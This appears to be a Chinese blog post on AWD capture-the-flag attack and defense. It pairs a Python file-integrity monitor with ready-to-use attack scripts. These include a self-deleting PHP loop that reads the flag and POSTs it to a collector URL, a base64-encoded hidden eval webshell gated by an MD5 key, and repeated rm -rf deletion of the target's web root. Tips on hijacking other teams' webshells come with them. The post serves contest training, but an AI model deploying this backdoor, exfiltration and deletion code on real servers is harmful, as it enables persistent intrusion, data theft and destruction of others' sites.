前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >AWD的攻与防(附攻防脚本)

AWD的攻与防(附攻防脚本)

作者头像
辞令
发布2021-07-01 17:41:00
4.6K0
发布2021-07-01 17:41:00
举报
文章被收录于专栏:WhITECat安全团队WhITECat安全团队

先说几点经验:

1、分配的是ctf低权限账号,但是中间件运行的是www-data权限,通常比ctf权限高,有些马用ssh上去删不掉,可以先传个自己的shell然后去删,当然得做一个防止被偷家的措施,比如说加一个if ("xxx"===md5(key))的操作。也可以用www-data去对文件和目录做权限的修改等操作。

2、黑吃黑,直接用别的队伍上传的shell。

3、不是特别大型的比赛没有那么多的时间去审漏洞,通常用nday直接打,或者内置的shell后门。

4、批量拿flag并自动提交平台;自动备份与恢复自己的靶机文件。

主要放两个脚本,一个攻一个防,网上找了很多都感觉多多少少有点问题。

AWD线下赛防守脚本:

1.该脚本基于python,可直接在linux靶机上运行。

2.开局直接运行起来,会自动对web目录进行备份,并建立hash索引。当web目录下有文件被删除或者被篡改的时候,会自动从备份中恢复文件。如果存在其他文件上传,会自动删除。

3.无法避免的缺点:由于条件竞争,如果对方在我们删除shell之前就已经在内存中开始生成不死马了,还是有一定几率沦陷。

代码语言:javascript
复制
# -*- coding: utf-8 -*-#
# awd文件监控脚本
# author:说书人
import os
import json
import time
import hashlib


def ListDir(path):  # 获取网站所有文件

    for file in os.listdir(path):
        file_path = os.path.join(path, file)
        if os.path.isdir(file_path):
            if initialization['ok'] == 'false':
                dir_list.append(file_path)
            else:
                dir_list_tmp.append(file_path)
            ListDir(file_path)
        else:
            if initialization['ok'] == 'false':
                file_list.append(file_path)
            else:
                file_list_tmp.append(file_path)


def GetHash():  # 获取hash,建立索引
    for bak in file_list:
        with open(bak, 'rb') as f:
            md5obj = hashlib.md5()
            md5obj.update(f.read())
        hash = md5obj.hexdigest()
        bak_dict[bak] = hash
    if os.path.exists('/tmp/awd_web_hash.txt') == False:
        os.system('mkdir /tmp/awd_web_bak/')
        os.system('\\cp -a {0}* /tmp/awd_web_bak/'.format(web_dir))
        with open('/tmp/awd_web_hash.txt', 'w') as f:  # 记录web文件hash
            f.write(str(json.dumps(bak_dict)))
        for i in file_list:  # 记录web文件列表
            with open('/tmp/awd_web_list.txt', 'a') as f:
                f.write(i + '\n')
        for i in dir_list:  # 记录web目录列表
            with open('/tmp/awd_web_dir.txt', 'a') as f:
                f.write(i + '\n')


def FileMonitor():  # 文件监控
    # 提取当前web目录状态
    initialization['ok'] = 'true'
    for file in os.listdir(web_dir):
        file_path = os.path.join(web_dir, file)
        if os.path.isdir(file_path):
            dir_list_tmp.append(file_path)
            ListDir(file_path)
        else:
            file_list_tmp.append(file_path)
    for file in file_list_tmp:
        with open(file, 'rb') as f:
            md5obj = hashlib.md5()
            md5obj.update(f.read())
        hash = md5obj.hexdigest()
        bak_dict_tmp[file] = hash
    with open('/tmp/awd_web_hash.txt', 'r') as f:  # 读取备份的文件hash
        real_bak_dict = json.loads(f.read())
    with open('/tmp/awd_web_list.txt', 'r') as f:  # 读取备份的文件列表
        real_file_list = f.read().split('\n')[0:-1]
    with open('/tmp/awd_web_dir.txt', 'r') as f:  # 读取备份的目录列表
        real_dir_list = f.read().split('\n')[0:-1]

    for dir in real_dir_list:  # 恢复web目录
        try:
            os.makedirs(dir)
            print("[del-recover]dir:{}".format(dir))
        except:
            pass

    for file in file_list_tmp:
        try:
            if real_bak_dict[file] != bak_dict_tmp[file]:  # 检测被篡改的文件,自动恢复
                os.system('\\cp {0} {1}'.format(file.replace(web_dir, '/tmp/awd_web_bak/'), file))
                print("[modify-recover]file:{}".format(file))
        except:  # 检测新增的文件,自动删除
            os.system('rm -rf {0}'.format(file))
            print("[delete]webshell:{0}".format(file))

    for real_file in real_file_list:  # 检测被删除的文件,自动恢复
        if real_file not in file_list_tmp:
            os.system('\\cp {0} {1}'.format(real_file.replace(web_dir, '/tmp/awd_web_bak/'), real_file))
            print("[del-recover]file:{0}".format(real_file))
    file_list_tmp[:] = []
    dir_list_tmp[:] = []


os.system("rm -rf /tmp/awd_web_hash.txt /tmp/awd_web_list.txt /tmp/awd_web_dir.txt /tmp/awd_web_bak/")
web_dir = "/var/www/"  # web目录,注意最后要加斜杠
file_list = []
dir_list = []
bak_dict = {}
file_list_tmp = []
dir_list_tmp = []
bak_dict_tmp = {}
initialization = {'ok': 'false'}
ListDir(web_dir)
GetHash()
while True:
    print(time.ctime()+"   安全")
    FileMonitor()
    time.sleep(1)  # 监控间隔,按需修改

AWD线下赛攻击脚本:

(1)内存马&自动获取刷新的flag

该脚本功能:

1.该脚本为内存脚本,访问一下就自删除,不留痕迹。

2.自动读取flag,并将flag提交到指定地址,会自动检测是否更新flag,只有更新了flag才会提交,需要在脚本中修改flag物理路径。

3.会生成不死马,不死马具有隐藏和欺骗功能。用蚁剑访问http://xxx/.c403d59fea33113df44d465aeec336ab.php?key=ssr2021shuoshurenmd5,密码为a。

木马原始代码如下(只要别人不知道key,就没办法黑吃黑):

代码语言:javascript
复制
<?php $key=$_GET["key"];
$keyhash=md5($key);
if($keyhash==="c403d59fea33113df44d465aeec336ab") {
    eval($_POST["a"]);
}
echo"file not find.";
?>

这个只作为备用连接,flag正常自己提交过来的话就不用管。

4.该脚本会不断删除目标的网站源码,别人扣分等于我们加分。

5.脚本命名必须为awd2021.php,若要修改的话需要同步修改下面代码中的文件名。

代码语言:javascript
复制
<?php
function send_post($url, $post_data) {
    $postdata = http_build_query($post_data);
    $options = array(
            'http' => array(
              'method' => 'POST',
              'header' => 'Content-type:application/x-www-form-urlencoded',
              'content' => $postdata,
              'timeout' => 15 * 60 
            )
          );
    $context = stream_context_create($options);
    $result = file_get_contents($url, false, $context);
    return $result;
}
$flag_tmp="flag{xxx}";
@unlink ("awd2021.php");
while (True) {
    $flag=system("cat flag.txt");
    $data=array(
          'flag' => $flag
        );
    if ($flag!=$flag_tmp) {
        send_post('http://127.0.0.1/getflag.php', $data);
    }
    $flag_tmp=$flag;
    $shell=base64_decode("PD9waHAgJGtleT0kX0dFVFsia2V5Il07CiRrZXloYXNoPW1kNSgka2V5KTsKaWYoJGtleWhhc2g9PT0iYzQwM2Q1OWZlYTMzMTEzZGY0NGQ0NjVhZWVjMzM2YWIiKSB7CglldmFsKCRfUE9TVFsiYSJdKTsKfQplY2hvImZpbGUgbm90IGZpbmQuIjsKPz4=");
    if (file_exists(".c403d59fea33113df44d465aeec336ab.php")==0) {
        file_put_contents(".c403d59fea33113df44d465aeec336ab.php", $shell, FILE_APPEND);
    }
    system("rm -rf /var/www/html/* !(.c403d59fea33113df44d465aeec336ab.php)");
}
?>

(2)服务端接收flag

1.按照往年比赛经验,靶机和我们的电脑是互通的,这个脚本可以本机开一个phpstudy跑起来,若不通的话直接放自己的靶机服务器上。

2.这个脚本默认名字为getflag.php,如果修改的话需要修改内存脚本中对应的文件名。

3.新的flag会源源不断提交过来,在当前目录的shuoshuren_flag.txt里面。

代码语言:javascript
复制
<?php
$flag=$_POST["flag"];
file_put_contents("shuoshuren_flag.txt", $flag."\n", FILE_APPEND);
?>

(3)自动提交flag脚本

根据往年经验,flag提交平台是有验证码的,所以这个脚本调用了验证码训练识别模型,达到自动化提交flag的目的,平台没有验证码的话就不用识别。

代码语言:javascript
复制
# AWD自动提交flag脚本
# base python3
# author:说书人
import requests
import base64
import json
import time


def GetPic(url):  # 获取验证码并识别,这里会调用我本机的验证码训练识别模型(refer:算命瞎子)
    pic_content=requests.get(url).content
    pic_base64=base64.b64encode(pic_content).decode()
    data='base64='+pic_base64
    try:
        yzm=requests.post('http://192.168.3.103:8899/base64',data=data).text
        return yzm
    except:
        return 'yzm'


def PostFlag(PostUrl,PicUrl,flag):  # 提交flag
    with open(flag,'r') as f:
        flag_list=f.read().split('\n')
    headers={
        #请求头需要现场抓包
    }
    for flag in flag_list:
        if flag in flag_list:
            print("{}   重复".format(flag))
        else:
            GetYzm=GetPic(PicUrl)
            data = json.dumps({"请求体需要现场抓包,字典格式"})
            try:
                res=requests.post(url=PostUrl,headers=headers,data=data)
                if '成功的标识符' in res.text:
                    print("{}   提交成功".format(flag))
                    flag_list_ok.append(flag)
                else:
                    print("{}   提交失败".format(flag))
            except:
                print('其他错误')


flag_list_ok=[]
while True:
    PostFlag("提交flag的请求地址","flag平台验证码的地址","shuoshuren_flag.txt")
    time.sleep(300)#休息5分钟,可以按需修改
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-06-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 WhITECat安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
验证码
腾讯云新一代行为验证码(Captcha),基于十道安全栅栏, 为网页、App、小程序开发者打造立体、全面的人机验证。最大程度保护注册登录、活动秒杀、点赞发帖、数据保护等各大场景下业务安全的同时,提供更精细化的用户体验。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档